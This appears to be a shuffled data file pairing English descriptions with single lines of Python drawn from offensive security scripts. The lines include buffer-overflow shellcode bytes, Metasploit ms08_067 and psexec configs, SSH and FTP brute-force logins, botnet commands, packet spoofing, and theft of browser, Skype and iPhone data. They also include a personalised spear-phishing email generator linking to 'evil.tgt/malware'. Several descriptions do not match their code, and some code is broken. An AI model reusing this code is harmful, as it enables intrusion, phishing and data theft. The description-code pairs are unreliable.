+ Call function connect with arguments '127.0.0.1', 'root' and 'toor' s = connect('127.0.0.1', 'root', 'toor')
88
+ Assign to mapLat the value 'N/A' mapLat = 'N/A'
89
+ Assign to the tuple options and args the method parse_args with no arguments of parser (options, args) = parser.parse_args()
90
+ For each result in response with keys 'responseData' and 'results' for result in objects['responseData']['results']:
91
+ Assign to hideMeProxy the dictionary with key 'http' and value equals to '216.155.139.115:3128' hideMeProxy = {'http': '216.155.139.115:3128'}
92
+ If the functions len with argument argv of sys returns a value bigger than 2 if len(sys.argv) > 2:
93
+ Open the url and assign it to page page = browser.open(url)
94
+ "Call the method send with argument ""PASS \r\n"" of s" "s.send(""PASS \r\\n"")"
95
+ Assign to ip the data of eth ip = eth.data
96
+ Assign to tgt the tgt of options tgt = options.tgt
97
+ Call the object PdfFileReader with argument file with arguments fileName and 'rb' and assign it to pdfFile pdfFile = PdfFileReader(file(fileName, 'rb'))
98
+ Call the method add_option with arguments '-F', dest equals to 'fileName' and type equals to 'string' of parser parser.add_option('-F', dest='fileName', type='string',\
99
+ Assign to msgDirection the concatenation of From, the function str with argument row at position 1 and : msgDirection = 'From ' + str(row[2]) + ' : '
100
+ Assign to TCPlayer the result of the function TCP with argument sport equals to 513 and dport equals to 514 TCPlayer = TCP(sport=513, dport=514)
101
+ Call the function PortScanner with no argument from the library nmap and assign nmScan = nmap.PortScanner()
102
+ Return the title of self return self.title
103
+ For each line in the method readlines with no argument of pF for line in pF.readlines():
104
+ Call method acquire on screenLock with no arguments screenLock.acquire()
105
+ Call the method tgtHost on options and assign the result to tgtHost tgtHost = options.tgtHost
106
+ Call the method _getexif with no argument of imgFile and assign it to info info = imgFile._getexif()
107
+ Assign to text of self the value text self.text = text
108
+ Assign to perm_denied the value 'Permission denied' perm_denied = 'Permission denied'
109
+ If the substring encrypted is in the string e if 'encrypted' in str(e):
110
+ Import the library for parsing import optparse
111
+ Call the method pxssh with no arguments of the package pxssh and assign it to s s = pxssh.pxssh()
112
+ Create an empty dictionary and assign it to dnsRecords dnsRecords = {}
113
+ Parse the argument into the tuple made of options and args (options, args) = parser.parse_args()
114
+ Call the function EnumValue with argument netKey and 4 and assign the result to the tuple n, name and t (n, name, t) = EnumValue(netKey, 4)
115
+ Assign to dst the tgt of options dst = options.tgt
116
+ Parse the usage prod pd target host and the target port parser = optparse.OptionParser('usage %prog '+ '-H <target host> -p <target port>')
117
+ Call the function anonLogin with argument host anonLogin(host)
118
+ From the library to manipulate Exif data of image import TAGS from PIL.ExifTags import TAGS
119
+ Import the library to parse html and xml from BeautifulSoup import BeautifulSoup
120
+ Define the function with anonLogin with argument hostname def anonLogin(hostname):
121
+ Do nothing pass
122
+ Import the library to interact with a sqlite database import sqlite3
123
+ Define function botnetCommand with argument command def botnetCommand(command):
124
+ Start expect block except:
125
+ If preNum is not equal to 0 if preNum != 0:
126
+ Call the function printRecord with argument tgt printRecord(tgt)
127
+ Assign to date the result of the function str with argument row at the position 0 date = str(row[0])
128
+ If the substring partlist is not in the function str with argument row at the position 3 if 'partlist' not in str(row[3]):
129
+ Assign to THRESH five THRESH = 5
130
+ Call function gethostbyaddr with argument tgtIP assign the result to tgtName tgtName = gethostbyaddr(tgtIP)
131
+ Call the function printNets with arguments username and password printNets(username, password)
132
+ Call the method write of configFile with argument 'set LPORT' concatenated to the function str with argument lport concatenated to '\n' configFile.write('set LPORT ' + str(lport) + '\\n')
133
+ Assign to ttlValues at the key ipsrc the value ttl of pkt ttlValues[ipsrc] = pkt.ttl
134
+ Call the function portScan with arguments tgtHost and tgtPorts portScan(tgtHost, tgtPorts)
135
+ If thresh of options is not None if options.thresh != None:
136
+ If url is equal to None if url == None:
137
+ Exit function returning value self.session.before return self.session.before
138
+ "Call the method send with argument ""USER anonymous\r\n"" of s" "s.send(""USER anonymous\r\\n"")"
139
+ Call the function split of rLon at the position 0 and assign it to mapLon mapLon = rLon[0].split
140
+ "Assign to crash the value ""\x41"" multiply by 246 concatenated to ret concatenated to paddling concatenated to shellcode" "crash = ""\x41"" * 246 + ret + padding + shellcode"
141
+ Call the method back with no argument of ab ab.back()
142
+ Import the library to manage cookies import cookielib
143
+ Assign to value the value of the function str with argument row at the position 2 value = str(row[2])
144
+ Assign to command the value argv at position 2 of sys command = sys.argv[2]
145
+ Return an empty string return ''
146
+ Else else:
147
+ Call method sendline with argument cmd on s s.sendline(cmd)
148
+ From the library to manipulate Pdf import PdfFileReader from pyPdf import PdfFileReader
149
+ Call the object BeautifulSoup with argument urlContent and assign it to soup soup = BeautifulSoup(urlContent)
150
+ Close the save file save.close()
151
+ Call the method write of configFile with argument 'use exploit/windows/smb/ms08_067_netapi\n' configFile.write('use exploit/windows/smb/ms08_067_netapi\\n')
152
+ "Execute the command 'SELECT tbl_name FROM sqlite_master WHERE type==\""table\"";' on c" "c.execute('SELECT tbl_name FROM sqlite_master WHERE type==\""table\"";')"
153
+ Import the library for spawning applications import pexpect
154
+ Assign to kmldoc the concatenation of kmlheader the result of the function plotIPs with argument pcap and kmlfooter kmldoc=kmlheader+plotIPs(pcap)+kmlfooter
155
+ Assign to ab the anonBrowser with parameters proxies equals to an empty list and user_agents equals to a list with inside a tuple made of 'User-agent' and 'superSecretBrowser' ab = anonBrowser(proxies=[],user_agents=[('User-agent','superSecretBroswer')])
156
+ Define main function with no arguments def main():
157
+ Call the class BoundedSemaphore with argument value equals to maxConnections and assign to connection_lock connection_lock = BoundedSemaphore(value=maxConnections)
158
+ Call the method parse_args with no argument and assign it to the tuple made of options and args (options, args) = parser.parse_args()
159
+ Assign to passwdFile the value passwdFile of options passwdFile = options.passwdFile
160
+ Call the method write of configFile with argument 'use exploit/windows/smb/psexec\n' configFile.write('use exploit/windows/smb/psexec\\n')
161
+ Call the class Client with argumet host, user and password and assign it to client client = Client(host, user, password)
162
+ "Use the command ""SELECT datetime(timestamp,'unixepoch'),dialog_partner, author, body_xml FROM Messages;""" "c.execute(""SELECT datetime(timestamp,'unixepoch'),dialog_partner, author, body_xml FROM Messages;"")"
163
+ Assign the result of the method pxssh on pxssh with no argument to s s = pxssh.pxssh()
164
+ Call the method write of configFile with argument 'set payload ' and continue to the next line the argument and the concatenation configFile.write('set payload '+\
165
+ If the variable pcapFile of options is equal to None if options.pcapFile == None:
166
+ Define the method __init__ with arguments self, title, text and url def __repr__(self):
167
+ Return results return results
168
+ Call the method add_option with arguments '-d', dest equals to 'dir', type equals to 'string' and help equals to 'specify destination directory' parser.add_option('-d', dest='dir', type='string',help='specify destination directory')
169
+ Assign the value password to self.password self.password = password
170
+ "and ""\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8""" """\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"""
171
+ Define the function printNets with argument username and password def printNets(username, password):
172
+ "and ""\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0""" """\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"""
173
+ Open the document pcapFile and assign it to f f = open(pcapFile)
174
+ "Execute the command ""select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;""on c" "c.execute(""select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;"")"
175
+ Else if ret equals 3 elif ret == 3:
176
+ Call the method open with argument url of ab and assign it to page page = ab.open(url)
177
+ Define the function printContacts with argument skypeDB def printContacts(skypeDB):
178
+ Call the function spawn with argument connStr of the library pexpect and assign it to child child = pexpect.spawn(connStr)
179
+ Call the method read of page with no argument html = page.read()
180
+ Define the function findRecycled with argument recycleDir def findRecycled(recycleDir):
181
+ Create a packet pkt with source src, destination dst, UDP with destination port 31335 and the load equals to 'PONG' pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG')
182
+ Call the method get with arguments tag and tag and assign of TAGS and assign it to decoded decoded = TAGS.get(tag, tag)
183
+ Define the function __init__ with arguments self and handle def __init__(self, handle):
184
+ Assign to handle of self handle self.handle = handle
185
+ Assign to tweets of self the result of the method get_tweets with no argument of self self.tweets = self.get_tweets()
186
+ Define the function get_tweets with argument self def get_tweets(self):
187
+ Assign to query the result of the method quote_plus of urllib with argument the concatenation of 'from:', handle of self and ' since:2009-01-01 include:retweets' query = urllib.quote_plus('from:' + self.handle+ ' since:2009-01-01 include:retweets')
188
+ Assign an empty list to tweets tweets = []
189
+ Assign to browser the class anonBrowser called with no arguments browser = anonBrowser()
190
+ Call the method anonymize with no argument of browser browser.anonymize()
191
+ Assign to response the result of the method open of browser with argument the concatenation of 'http://search.twitter.com/'+ 'search.json?q=' and query response = browser.open('http://search.twitter.com/'+ 'search.json?q=' + query)
192
+ Assign to json_object the result of the method load of json with argument response json_objects = json.load(response)
193
+ For each result in json_objects with key 'results' for result in json_objects['results']:
194
+ Assign to new_result an empty dictionary new_result = {}
195
+ Assign to new_result with key 'from_user' the value of result with key 'from_user_name' new_result['from_user'] = result['from_user_name']
196
+ Assign to new_result with key 'geo' the value of result with key 'geo' new_result['geo'] = result['geo']
197
+ Assign to new_result with key 'tweet' the value of result with key 'text' new_result['tweet'] = result['text']
198
+ Append to tweets the new_result tweets.append(new_result)
199
+ Return the tweets return tweets
200
+ Define the function find_interests with argument self def find_interests(self):
201
+ Create an empty dictionary and assign it to interests interests = {}
202
+ Create an empty list and assign it to interest with key 'links' interests['links'] = []
203
+ Create an empty list and assign it to interest with key 'users' interests['users'] = []
204
+ Create an empty list and assign it to interest with key 'hashtags' interests['hashtags'] = []
205
+ Assign to the text the value of tweet with jey tweet text = tweet['tweet']
206
+ Assign to links the result of the function compile of re with argument '(http.*?)\Z|(http.*?) ' then call the function findall with argument text links = re.compile().findall(text)
207
+ For each link in links for link in links:
208
+ If link at position 0 exists if link[0]:
209
+ Assign to link the link at the position 0 link = link[0]
210
+ Else if link at position 1 exists elif link[1]:
211
+ Assign to link the link at the position 1 link = link[1]
212
+ Else else:
213
+ Continue continue
214
+ Assign to response the result of the method urlopen of urllib2 with argument link response = urllib2.urlopen(link)
215
+ Assign to full_link the variable url of response full_link = response.url
216
+ Append to interests with key links the variable full_link interests['links'].append(full_link)
217
+ Except except:
218
+ Append to interests with key 'users' the result of the function findall with argument text called on compile of re with argument '(@\w+)' interests['users'] += re.compile('(@\w+)').findall(text)
219
+ Append to interests with key 'hashtags' the result of the function findall with argument text called on compile of re with argument '(#\w+)' interests['hashtags'] += re.compile('(#\w+)').findall(text)
220
+ Sort the list interests with key 'users' interests['users'].sort()
221
+ Sort the list interests with key 'hashtags' interests['hashtags'].sort()
222
+ Sort the list interests with key 'links' interests['links'].sort()
223
+ Return the interests return interests
224
+ Define the function twitter_locate with arguments self and cityFile def twitter_locate(self, cityFile):
225
+ Assign an empty list to cities cities = []
226
+ If cityFile is not equal to None if cityFile != None:
227
+ For each line in the method readlines called with no arguments of the opened file cityFile for line in open(cityFile).readlines():
228
+ Assign to city the string stripped of '\n' and '\r' in low case city = line.strip('\\n').strip('\r').lower()
229
+ Append to the list cities the city cities.append(city)
230
+ Assign to locations an empty list locations = []
231
+ Assign to locCnt the value 0 locCnt = 0
232
+ Assign to cityCnt the value 0 cityCnt = 0
233
+ Assign to tweetsText an empty string tweetsText = ''
234
+ For each tweet in tweets of self for tweet in self.tweets:
235
+ If tweet with key 'geo' is not equal to None if tweet['geo'] != None:
236
+ Append to locations the tweet with key 'geo' locations.append(tweet['geo'])
237
+ Increment locCnt of 1 locCnt += 1
238
+ Concatenate to tweetsText the tweet with key 'tweet' in lower case tweetsText += tweet['tweet'].lower()
239
+ For each city in cities for city in cities:
240
+ If the substring city is in tweetsText if city in tweetsText:
241
+ Append to locations the value city locations.append(city)
242
+ Increment cityCnt of 1 cityCnt += 1
243
+ Return the value locations return locations
244
+ Call the method quote_plus of urllib with argument the concatenation of 'from:', handle and ' since:2009-01-01 include:retweets' query = urllib.quote_plus('from:' + handle+ ' since:2009-01-01 include:retweets')
245
+ Assign to response the result of the the method open of browser with argument the concatenation of 'http://search.twitter.com/', 'search.json?q=' and query response = browser.open('http://search.twitter.com/'+ 'search.json?q='+ query)
246
+ Define the function load_cities with argument cityFile def load_cities(cityFile):
247
+ Assign an empty list to cities cities = []
248
+ For each line in the method readlines with no argument of the opened file cityFile for line in open(cityFile).readlines():
249
+ Assign the line stripped of '\n' and '\r' in lower case to city city=line.strip('\\n').strip('\r').lower()
250
+ Append city to cities cities.append(city)
251
+ Return the variable cities return cities
252
+ Define the function twitter_locate with arguments tweets and cities def twitter_locate(tweets,cities):
253
+ Assign an empty list to locations locations = []
254
+ Assign 0 to locCnt locCnt = 0
255
+ Assign 0 to cityCnt cityCnt = 0
256
+ Assign to tweetsText an empty string "tweetsText = """""
257
+ If tweet with key 'geo' is not equal to None if tweet['geo'] != None:
258
+ Append the tweet with key 'geo' to locations locations.append(tweet['geo'])
259
+ Increment locCnt of 1 locCnt += 1
260
+ Concatenate the tweet with key 'tweet' to tweetsText in lower case tweetsText += tweet['tweet'].lower()
261
+ For each city in cities for city in cities:
262
+ If the substring city is in tweetsText if city in tweetsText:
263
+ Append the city to locations locations.append(city)
264
+ Increment cityCnt of 1 cityCnt+=1
265
+ Return the variable locations return locations
266
+ Define the function main with no arguments def main():
267
+ Assign to parser the OptionParser with argument the concatenation of 'usage %prog ' and '-u <twitter handle> [-c <list of cities>]' of optparse parser = optparse.OptionParser('usage %prog '+ '-u <twitter handle> [-c <list of cities>]')
268
+ Call the method add_option with arguments '-c', dest equals to 'cityFile', type equals to 'string' and help= equals to 'specify file containing cities to search' parser.add_option('-c', dest='cityFile', type='string',help='specify file containing cities to search')
269
+ Assign cityFile of options to cityFile cityFile = options.cityFile
270
+ If handle is equal to None if (handle==None):
271
+ Call the function exit to 0 exit(0)
272
+ Assign an empty list to to cities cities = []
273
+ If cityFile is not equal to None if (cityFile!=None):
274
+ Call the function load_cities with argument cityFile and assign the result to cities cities = load_cities(cityFile)
275
+ Assign the result of the function twitter_locate with argument tweets and cities to location locations = twitter_locate(tweets,cities)
276
+ Import the library dedicated to regular expressions import re
277
+ Import the second version of the http client import urllib2
278
+ Define the function get_tweets with argument handle def get_tweets(handle):
279
+ Call the method quote_plus of urllib with argument the concatenation of 'from:', handle and ' since:2009-01-01 include:retweets' query = urllib.quote_plus('from:' + handle+ ' since:2009-01-01 include:retweets')
280
+ Assign to tweets an empty list tweets = []
281
+ Assign to browser the class anonBrowser with no argument browser = anonBrowser()
282
+ Call the method of browser anonymize with no arguments browser.anonymize()
283
+ Assign to response the result of the the method open of browser with argument the concatenation of 'http://search.twitter.com/', 'search.json?q=' and query response = browser.open('http://search.twitter.com/'+ 'search.json?q=' + query)
284
+ Assign to json_objects the result of the method load of json with argument response json_objects = json.load(response)
285
+ For each result in json_objects with key 'result' for result in json_objects['results']:
286
+ Assign to new_result an empty dictionary new_result = {}
287
+ Assign to new_result with key 'from_user' the variable result with key 'from_user_name' new_result['from_user'] = result['from_user_name']
288
+ Assign to new_result with key 'geo' the variable result with key 'geo' new_result['geo'] = result['geo']
289
+ Assign to new_result with key 'tweet' the variable result with key 'text' new_result['tweet'] = result['text']
290
+ Append to tweets the new_result tweets.append(new_result)
291
+ Return the variable tweets return tweets
292
+ Define the function find_interests with argument tweets def find_interests(tweets):
293
+ Assign to interests an empty dictionary interests = {}
294
+ Assign to interests with key 'links' an empty list interests['links'] = []
295
+ Assign to interests with key 'users' an empty list interests['users'] = []
296
+ Assign to interests with key 'hashtags' an empty list interests['hashtags'] = []
297
+ For each tweet in tweets for tweet in tweets:
298
+ Assign the tweet with key 'tweet' to text text = tweet['tweet']
299
+ Call the method findall with argument text of the function compile with argument '(http.*?)\Z|(http.*?) ' of the library re and assign it to links links = re.compile().findall(text)
300
+ For each link in links for link in links:
301
+ If link in position 0 exists if link[0]:
302
+ Assign link in position 0 to link link = link[0]
303
+ Else if link in position 1 exists elif link[1]:
304
+ Assign link in position 1 to link link = link[1]
305
+ Else else:
306
+ Continue continue
307
+ Start try block try:
308
+ Assign the result of the function urlopen with argument link of urllib2 response = urllib2.urlopen(link)
309
+ Assign the response of url to full_link full_link = response.url
310
+ Append full_link to interests with key links interests['links'].append(full_link)
311
+ Excepet except:
312
+ Do nothing pass
313
+ Link the result of the function findall with argument text of the function compile with argument '(@\w+)' of re to interests with key 'users' interests['users'] += re.compile('(@\w+)').findall(text)
314
+ Link the result of the function findall with argument text of the function compile with argument '(#\w+)' of re to interests with key 'hashtags' interests['hashtags'] += re.compile('(#\w+)').findall(text)
315
+ Sort the list interests with key 'users' interests['users'].sort()
316
+ Sort the list interests with key 'hashtags' interests['hashtags'].sort()
317
+ Sort the list interests with key 'links' interests['links'].sort()
318
+ Return the variable interests return interests
319
+ Define the main function with no arguments def main():
320
+ Assign to parser the OptionParser with argument the concatenation of 'usage %prog ' and '-u <twitter handle>' of optparse parser = optparse.OptionParser('usage %prog '+ '-u <twitter handle>')
321
+ Call the method add_option with arguments '-u', dest equals to 'handle', type equals to 'string' and help= equals to 'specify twitter handle' parser.add_option('-u', dest='handle', type='string', help='specify twitter handle')
322
+ If handle is equal to None if handle == None:
323
+ Call the function exit to 0 exit(0)
324
+ Assign to tweets the result of the function get_tweets with argument handle tweets = get_tweets(handle)
325
+ Assign the result of the function find_interests with argument tweets to interests interests = find_interests(tweets)
326
+ Import the library to manage json files import json
327
+ Import a http client import urllib
328
+ From the library to manages an anonymous browser import everything from anonBrowser import *
329
+ Define the class reconPerson class reconPerson:
330
+ Define the function __init__ with arguments self, first_name, last_name, job equals to '' and social media equals to {} def __init__(self,first_name,last_name, job='',social_media={}):
331
+ Assign to first_name of self the value first_name self.first_name = first_name
332
+ Assign to last_name of self the value last_name self.last_name = last_name
333
+ Assign to job of self the value job self.job = job
334
+ Assign to social_media of self the value social_media self.social_media = social_media
335
+ Define the method __repr__ with argument self def __repr__(self):
336
+ Return the concatenation of first_name of self, ' ', last_name of self + ' has job ' + job of self return self.first_name + ' ' + self.last_name + ' has job ' + self.job
337
+ Define the method get_social with arguments self and media_name def get_social(self, media_name):
338
+ If the variable social_media of self has the key media_name if self.social_media.has_key(media_name):
339
+ Return the variable social_media with key media_nameof self return self.social_media[media_name]
340
+ Return nothing return None
341
+ Define the method query_twitter with argument self and query def query_twitter(self, query):
342
+ Assign to query the result of the function quote_plus of urllib with argument query query = urllib.quote_plus(query)
343
+ Assign to results an empty list results = []
344
+ Assign an instance of anonBrowser with no argument to browser browser = anonBrowser()
345
+ Assign to response the result of the method open of browser with argument the concatenation of 'http://search.twitter.com/search.json?q=' and query response = browser.open( 'http://search.twitter.com/search.json?q='+ query)
346
+ Assign to json_object the result of the function json_load of json with argument response json_objects = json.load(response)
347
+ For each result in json_object with key response for result in json_objects['results']:
348
+ Assign an empty dictionary to new_result new_result = {}
349
+ Assign result with key 'from_user_name' to new_result with key 'from_user' new_result['from_user'] = result['from_user_name']
350
+ Assign result with key 'geo' to new_result with key 'geo' new_result['geo'] = result['geo']
351
+ Assign result with key 'text' to new_result with key 'tweet' new_result['tweet'] = result['text']
352
+ Append new_result to results results.append(new_result)
353
+ Return results return results
354
+ Call the function reconPerson with arguments 'Boondock' and 'Saint' and assign it to ap ap = reconPerson('Boondock', 'Saint')
355
+ Assign 'username' to user user = 'username'
356
+ Assign 'password' to pwd pwd = 'password'
357
+ Call the function sendMail with argument user, pwd, '[email protected]', 'Re: Important' and 'Test Message' sendMail(user, pwd, '[email protected]' 'Re: Important', 'Test Message')
358
+ Import the library to send an email with smtp import smtplib
359
+ Import the library to parse strings import optparse
360
+ From the library to manage the text of the email in mime format import MIMEText from email.mime.text import MIMEText
361
+ From twitterClass import everything from twitterClass import *
362
+ From the library to manage randomess import choice from random import choice
363
+ define the function sendMail with arguments user, pwd, to, subject and text def sendMail(user,pwd,to,subject,text):
364
+ Assign an object MIMEText with argument text to msg msg = MIMEText(text)
365
+ Assign user to msg with 'From' msg['From'] = user
366
+ Assign to to msg with key 'To' msg['To'] = to
367
+ Assign subject to msg with key 'Subject' msg['Subject'] = subject
368
+ Start try block try:
369
+ Assign the result of the function SMTP of smtplib with arguments 'smtp.gmail.com and 587 to smtpServer smtpServer = smtplib.SMTP('smtp.gmail.com', 587)
370
+ Call the method starttls with no argument of smtpServer smtpServer.starttls()
371
+ Call the method ehlo with no argument of smtpServer smtpServer.ehlo()
372
+ Call the method login with arguments user and pwd of smtpServer smtpServer.login(user, pwd)
373
+ Call the method sendmail with arguments user, to and the method as_string with no argument of msg of smtpServer smtpServer.sendmail(user, to, msg.as_string())
374
+ Call the method close with no argument of smtpServer smtpServer.close()
375
+ Expect except:
376
+ Do nothing pass
377
+ Define the main function with no argument def main():
378
+ Assign to parser the OptionParser with argument the concatenation of 'usage %prog ' ,'-u <twitter target> -t <target email> ' and '-l <gmail login> -p <gmail password>' -d <destination directory>' of optparse parser = optparse.OptionParser('usage %prog '+ '-u <twitter target> -t <target email> '+ '-l <gmail login> -p <gmail password>')
379
+ Call the method add_option with arguments '-u', dest equals to 'handle', type equals to 'string' and help equals to 'specify twitter handle' parser.add_option('-u', dest='handle', type='string', help='specify twitter handle')
380
+ Call the method add_option with arguments '-t', dest equals to 'tgt', type equals to 'string' and help equals to 'specify target email' parser.add_option('-t', dest='tgt', type='string', help='specify target email')
381
+ Call the method add_option with arguments '-l', dest equals to 'user', type equals to 'string' and help equals to 'specify gmail login' parser.add_option('-l', dest='user', type='string', help='specify gmail login')
382
+ Call the method add_option with arguments '-p', dest equals to 'pwd', type equals to 'string' and help equals to 'specify gmail password' parser.add_option('-p', dest='pwd', type='string', help='specify gmail password')
383
+ Assign to the tuple of options and args the result of the method parse_args with no argument of parser (options, args) = parser.parse_args()
384
+ Assign handle of options to handle handle = options.handle
385
+ Assign tgt of options to tgt tgt = options.tgt
386
+ Assign user of options to user user = options.user
387
+ Assign pwd of options to pwd pwd = options.pwd
388
+ If handle is equal to None or tgt is equal to None or user is equal to None or pwd is equal to None: if handle == None or tgt == None or user ==None or pwd==None:
389
+ Call the function exit with argument 0 exit(0)
390
+ Assign the result of the function reconPerson with argument handle to spamTgt spamTgt = reconPerson(handle)
391
+ Call the method get_tweets with no argument of spamTgt spamTgt.get_tweets()
392
+ Call the method find_interests with no argument of spamTgt to interests interests = spamTgt.find_interests()
393
+ Call the method twitter_locate of spamTgt with argument 'mlb-cities.txt' and assign it to location location = spamTgt.twitter_locate('mlb-cities.txt')
394
+ "Assign the concatenation of ""Dear"", tgt and "","" to spamMsg" "spamMsg = ""Dear ""+tgt+"","""
395
+ If location is not equal to None if (location!=None):
396
+ Assign the result of the function choice with argument location to randLoc randLoc=choice(location)
397
+ "Concatenate the concatenation of "" Its me from "", randLoc and ""."" to spamMsg" "spamMsg += "" Its me from ""+randLoc+""."""
398
+ If interests with key 'users' is not equal to None if (interests['users']!=None):
399
+ Assign to randUser the result of the function choice with argument interests with key 'users' randUser=choice(interests['users'])
400
+ "Concatenate the concatenation of "" "", randUser and "" said to say hello."" to spamMsg" "spamMsg += "" ""+randUser+"" said to say hello."""
401
+ If interests with key 'hashtags' is not equal to None if (interests['hashtags']!=None):
402
+ Assign to randHash the result of the function choice with argument interests with key 'hashtags' randHash=choice(interests['hashtags'])
403
+ "Concatenate the concatenation of "" Did you see all the fuss about "", randHash and ""?"" to spamMsg" "spamMsg += "" Did you see all the fuss about ""+ randHash+""?"""
404
+ If interests with key 'links' is not equal to None if (interests['links']!=None):
405
+ Assign to randLink the result of the function choice with argument interests with key 'links' randLink=choice(interests['links'])
406
+ "Concatenate the concatenation of "" I really liked your link to: "", randLink and ""."" to spamMsg" "spamMsg += "" I really liked your link to: ""+ randLink+""."""
407
+ "Concatenate to spamMessage the string "" Check out my link to http://evil.tgt/malware""" "spamMsg += "" Check out my link to http://evil.tgt/malware"""
408
+ Call the function sendMail with argument user, pwd, '[email protected]', 'Re: Important' and spamMsg sendMail(user, pwd, tgt, 'Re: Important', spamMsg)
409
+ Call the function connect with arguments user, host, keyfile and False connect(user, host, keyfile, False)
410
+ Assign to IPlayer the IP with src equals to src and dst equals to tgt IPlayer = IP(src=src, dst=tgt)
411
+ "and ""\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7""" """\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"""
412
+ Send the packet to iface and count equals count send(pkt)
413
+ "Call the object OptionParser with argument 'usage %prog "" of optParse and assign it to parser" "parser = optparse.OptionParser('usage %prog ""+\"
414
+ If synSpoof of options is equal to None or if srcSpoof of options is equal to None or if tgt of options is equal to None if options.synSpoof == None or options.srcSpoof == None or options.tgt == None:
415
+ If the function isMessageTable with argument iphoneDB returns True if isMessageTable(iphoneDB):
416
+ Import the library to manipulate request and response for http pages import mechanize
417
+ Set cookie_jar as a cookie collector of browser browser.set_cookiejar(cookie_jar)
418
+ Take the second argument of stream splitted at ':' and assign it to dst dst = stream.split(':')[1]
419
+ Call the function CloseKey with argument netKey CloseKey(netKey)
420
+ Define the function nmapScan with arguments tgtHost and tgtPort def nmapScan(tgtHost,tgtPort):
421
+ Assign to Fails the value 0 Fails = 0
422
+ Add the option of the parser H for tgtHost as a string with help specify target host parser.add_option('-H', dest='tgtHost', type='string',help='specify target host')
423
+ Call the function printLinks with argument url printLinks(url)
424
+ Call the function testProxy with argument url and hideMeProxy testProxy(url, hideMeProxy)
425
+ Import the libraries for file transfer protocol and time management import ftplib, time
426
+ "and ""\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea""" """\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"""
427
+ "and ""\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f""" """\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f"""
428
+ Use c as a cursor for conn c = conn.cursor()
429
+ Call the function botnetCommand with argument 'cat /etc/issue' botnetCommand('cat /etc/issue')
430
+ Call the function printDownloads with argument downloadDB printDownloads(downloadDB)
431
+ Assign to the variable password the value 'toor' password = 'toor'
432
+ Call function FTP with argument hostname of the library ftplib and assign it to ftp ftp = ftplib.FTP(hostname)
433
+ If the substring '.php' or the substring '.htm' or the substring '.asp' is found in fn if '.php' in fn or '.htm' in fn or '.asp' in fn:
434
+ Call the function str with argument name and assign it to netName netName = str(name)
435
+ Call the function close with no argument of configFile configFile.close()
436
+ Continue the line with args equals to the tuple containing user, host, fullpath and True args=(user, host, fullpath, True))
437
+ "and ""\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85""" """\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"""
438
+ Call the function findHivemind of pcap findHivemind(pcap)
439
+ Exit function with no argument return
440
+ Assign to ackPkt the IPlayer divided by the TCPlayer ackPkt = IPlayer / TCPlayer
441
+ Call the method gethostbyname with argument tgtHost and assign the result to tgtIP tgtIP = gethostbyname(tgtHost)
442
+ Import the library to interact with the opearative system import os
443
+ Define the function printProfile with argument skypeDB def printProfile(skypeDB):
444
+ Assign to pkt the value of the function sr1 with arguments IP with argument dst equals to ipsrc, ICMP with no arguments, retry equals to 0, timeout equals to 1 and verbose equals to 0 pkt = sr1(IP(dst=ipsrc),ICMP(), retry=0, timeout=1, verbose=0)
445
+ Import the library to manage url import urllib
446
+ Assign to iface the value iface of options iface = options.iface
447
+ define the class Client class Client:
448
+ If the method has_key with argument rrname of dnsRecords is True if dnsRecords.has_key(rrname):
449
+ Define the function wiglePrint with argument username, password and netid def wiglePrint(username, password, netid):
450
+ "If the method iptype with no argument of the function IPTEST with argument ipsrc is equal to ""PRIVATE""" if IPTEST(ipsrc).iptype() == 'PRIVATE':
451
+ Call the function returnDefault with argument ftp returnDefault(ftp)
452
+ Assign to pathName the pathName of options pathName = options.pathName
453
+ Call the function smbBrute with arguments configFile, tgtHost, passwdFile, lhost and lport smbBrute(configFile,tgtHost,passwdFile,lhost,lport)
454
+ Define the function isMessageTable with argument iphoneDB def isMessageTable(iphoneDB):
455
+ Define the function spoofConn with arguments src, tgt and ack def spoofConn(src, tgt, ack):
456
+ Import the library to interact with the python environment import sys
457
+ Connect to the database cookiesDB and assign it to conn conn = sqlite3.connect(cookiesDB)
458
+ Add the options to parser '-t', dest equals to 'thresh', type equals to 'string', help equals to 'specify threshould count' parser.add_option('-t', dest='thresh', type='int',help='specify threshold count ')
459
+ Define function connScan with parameters tgtHost and tgtPort def connScan(tgtHost, tgtPort):
460
+ Start block expect except:
461
+ Call the method start on t and assign it to child child = t.start()
462
+ Import the second version of http client import urllib2
463
+ Assign to region the field 'region_name' of rec region = rec['region_name']
464
+ Define the function connect with arguments user,host,keyfile and release def connect(user,host,keyfile,release):
465
+ "and ""\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c""" """\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"""
466
+ Call the method lower with no argument of fileName and assign it to fn fn = fileName.lower()
467
+ Assign to diffSeq the difference of seqNum with preNum diffSeq = seqNum - preNum
468
+ Call exit function with argument 0 exit(0)
469
+ Assign to s the object socket with arguments AF_INET of socket and SOCK_STREAM of socket of socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
470
+ Else if the folder does not exists elif os.path.isdir(pathName) == False:
471
+ Call method expect with argument PROMPT of child child.expect(PROMPT)
